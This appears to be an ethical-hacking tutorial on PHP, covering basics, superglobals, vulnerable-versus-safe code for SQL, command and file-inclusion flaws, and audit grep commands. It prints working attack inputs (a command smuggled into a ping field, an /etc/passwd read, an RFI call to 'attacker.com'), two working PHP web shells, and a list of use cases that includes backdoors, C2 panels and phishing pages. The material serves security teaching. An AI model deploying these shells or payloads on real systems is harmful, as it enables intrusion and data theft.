01 · INTRODUCTION

🐘 What Is PHP?

PHP (PHP: Hypertext Preprocessor) is a server-side scripting language created by Rasmus Lerdorf in 1994. Today it powers over 75% of all websites — including WordPress, Wikipedia, Facebook (historically), and millions of others. If a website is dynamic, there's a very good chance PHP is behind it.

For ethical hackers, PHP is essential knowledge. The vast majority of web application vulnerabilities — SQL injection, XSS, file inclusion, command injection, deserialization — are found in PHP code. If you want to hunt bugs in real-world web applications, you must be able to read, write, and audit PHP.

💡 Note: PHP runs on the server, not in the browser. You can't see PHP source code by viewing a website — only its output (HTML). This is why auditing PHP requires source code access.
02 · WHY PHP FOR HACKERS

💡 Why Ethical Hackers Learn PHP

🌐

75% of the Web

Most of your bug bounty targets run PHP. Know it or miss the bugs.

🔍

Source Code Auditing

Read PHP code to find logic flaws, injections, and auth bypasses.

💥

Exploit Development

Write PHP web shells, RCE payloads, and custom exploit scripts.

🐛

Vulnerability Research

Find 0-days in WordPress plugins, Laravel apps, and CMS platforms.

🎯

Bug Bounties

PHP bugs pay big. SQLi, RCE, and file upload bypasses are gold.

🔧

Custom Tooling

Build web shells, backdoors, and C2 panels in PHP.

🔑 Key Insight: You can't hack what you don't understand. PHP literacy is non-negotiable for serious web pentesters.
03 · FUNDAMENTALS

📚 PHP Fundamentals

Your First PHP Script

<?php // hello.php — your first PHP script echo "Hello, Ethical Hacker!"; ?>

Variables & Data Types

$target = "192.168.1.1"; // string $port = 22; // integer $ratio = 3.14; // float $is_open = true; // boolean $ports = [22, 80, 443]; // array // String interpolation (double quotes only) echo "Scanning $target on port $port";

Superglobals — The Hacker's Best Friend

PHP has special variables called superglobals that are automatically populated. These are the primary sources of user input — and the primary attack surface.

SuperglobalContains
$_GETURL query parameters
$_POSTPOST form data
$_REQUESTBoth GET and POST
$_COOKIEHTTP cookies
$_SERVERServer & request info
$_FILESUploaded files
$_SESSIONSession data
// Reading user input $id = $_GET['id']; $user = $_POST['username']; $ua = $_SERVER['HTTP_USER_AGENT']; // ⚠️ NEVER trust this data. Always validate!
04 · CONTROL FLOW

🔀 Control Flow & Functions

// Conditionals if ($port == 22) { echo "SSH"; } elseif ($port == 443) { echo "HTTPS"; } else { echo "Unknown"; } // Loops foreach ($ports as $p) { echo "Port: $p\n"; } for ($i = 1; $i <= 10; $i++) { echo $i; } // Functions function scan_port($host, $port) { return "Scanning $host:$port"; } echo scan_port("192.168.1.1", 22);
05 · COMMON VULNERABILITIES

💥 PHP Vulnerabilities Every Hacker Must Know

1. SQL Injection

// ❌ VULNERABLE $id = $_GET['id']; $query = "SELECT * FROM users WHERE id = $id"; mysqli_query($conn, $query); // Attack: ?id=1' OR '1'='1 // ✅ SAFE — prepared statements $stmt = $conn->prepare("SELECT * FROM users WHERE id = ?"); $stmt->bind_param("i", $id); $stmt->execute();

2. Command Injection

// ❌ VULNERABLE $ip = $_GET['ip']; system("ping -c 1 $ip"); // Attack: ?ip=127.0.0.1; cat /etc/passwd // ✅ SAFE — escape and validate $ip = escapeshellarg($_GET['ip']); system("ping -c 1 $ip");

3. File Inclusion (LFI/RFI)

// ❌ VULNERABLE $page = $_GET['page']; include($page . ".php"); // Attacks: // LFI: ?page=../../../../etc/passwd%00 // RFI: ?page=http://attacker.com/shell

4. Unrestricted File Upload

// ❌ VULNERABLE move_uploaded_file($_FILES['file']['tmp_name'], "uploads/" . $_FILES['file']['name']); // Attack: upload shell.php → RCE // ✅ SAFE — validate extension, MIME, size $allowed = ['jpg', 'png', 'gif']; $ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)); if (!in_array($ext, $allowed)) die("Blocked");

5. PHP Object Injection (Deserialization)

// ❌ VULNERABLE $data = $_COOKIE['session']; $obj = unserialize($data); // Attack: craft serialized object → RCE via __wakeup/__destruct
⚠️ Reminder: Never test these attacks against systems without permission. Use DVWA, OWASP Juice Shop, or PortSwigger labs.
06 · WEB SHELLS

🐚 PHP Web Shells (For Post-Exploitation)

// Minimal web shell — 1 line <?php system($_GET['cmd']); ?> // Usage: shell.php?cmd=id // URL-encode complex commands: ?cmd=cat%20/etc/passwd // Slightly stealthier version <?php if (isset($_REQUEST['c'])) { echo "<pre>"; system($_REQUEST['c']); echo "</pre>"; } ?>
⚠️ Legal: Web shells are only for authorized penetration tests, CTF challenges, and lab environments. Deploying them on systems you don't own is a serious crime.
07 · CODE AUDITING

🔍 PHP Source Code Auditing Tips

Quick Recon Commands

# Find dangerous functions in a codebase grep -rn "system\|exec\|shell_exec\|eval\|unserialize" ./ # Find SQL query building grep -rn "mysql_query\|mysqli_query\|->query" ./ # Find include/require with variables grep -rn "include\|require" ./ | grep "\$"
08 · TOOLS

🔧 Essential PHP Hacking Tools

🕷️

Burp Suite

Intercept, modify, and replay HTTP requests. The gold standard for web testing.

💉

sqlmap

Automatic SQL injection detection and exploitation.

🎯

WPScan

WordPress vulnerability scanner — plugins, themes, users.

🔍

Gobuster / Dirb

Directory and file brute-forcing to find hidden PHP files.

📝

PHPGGC

PHP Generic Gadget Chains — for deserialization exploitation.

🐚

Weevely

Stealthy PHP web shell framework for post-exploitation.

⚙️

Nikto

Web server scanner — finds misconfigs and dangerous files.

🔐

XSStrike

Advanced XSS detection and exploitation suite.

09 · USE CASES

🎯 Where PHP Skills Pay Off

💰

Bug Bounties

WordPress plugin bugs, Laravel vulnerabilities, and CMS 0-days pay well.

🔍

White-Box Pentesting

Audit PHP source code for logic flaws and injection bugs.

🕸️

Web App Testing

Test login forms, file uploads, and API endpoints.

🐚

Post-Exploitation

Deploy web shells and maintain access on authorized targets.

🔧

Custom Tooling

Build C2 panels, phishing pages, and admin panels.

🎓

CTF Competitions

Web exploitation challenges almost always involve PHP.

10 · BEST PRACTICES

✅ Secure PHP Coding Best Practices

11 · LEGAL & ETHICS

⚖️ Legal & Ethical Boundaries

⚠️ Critical Warning: Reading PHP code is legal. Using it to attack systems you don't own or have permission to test is a serious crime. Unauthorized access can lead to imprisonment and permanent criminal records.

Legal Practice Environments

🧪

PortSwigger Web Academy

Free, world-class web security labs — including PHP-specific challenges.

🐐

OWASP Juice Shop

Modern vulnerable web app with dozens of exploit challenges.

🕸️

DVWA

Damn Vulnerable Web App — classic PHP-based training lab.

💰

HackerOne

Legal bug bounty platform. Get paid for legitimate findings.

12 · CONCLUSION

🎓 Final Thoughts

PHP powers three-quarters of the internet. If you want to hunt web vulnerabilities at scale — bug bounties, pentests, CTFs — PHP literacy is mandatory. You'll read thousands of lines of PHP throughout your security career, and understanding it deeply will separate you from the crowd.

Start with the basics: variables, superglobals, includes, SQL queries. Then move into source code auditing and common vulnerability patterns. Then practice in labs and CTF environments. Within months, you'll be spotting vulnerabilities in PHP code at a glance.

🚀 Next Steps: Set up DVWA on Kali Linux, work through the PortSwigger PHP labs, and download an old WordPress plugin to audit. Then start hunting on HackerOne. The bugs are there — go find them.

Happy hacking — ethically. 🐘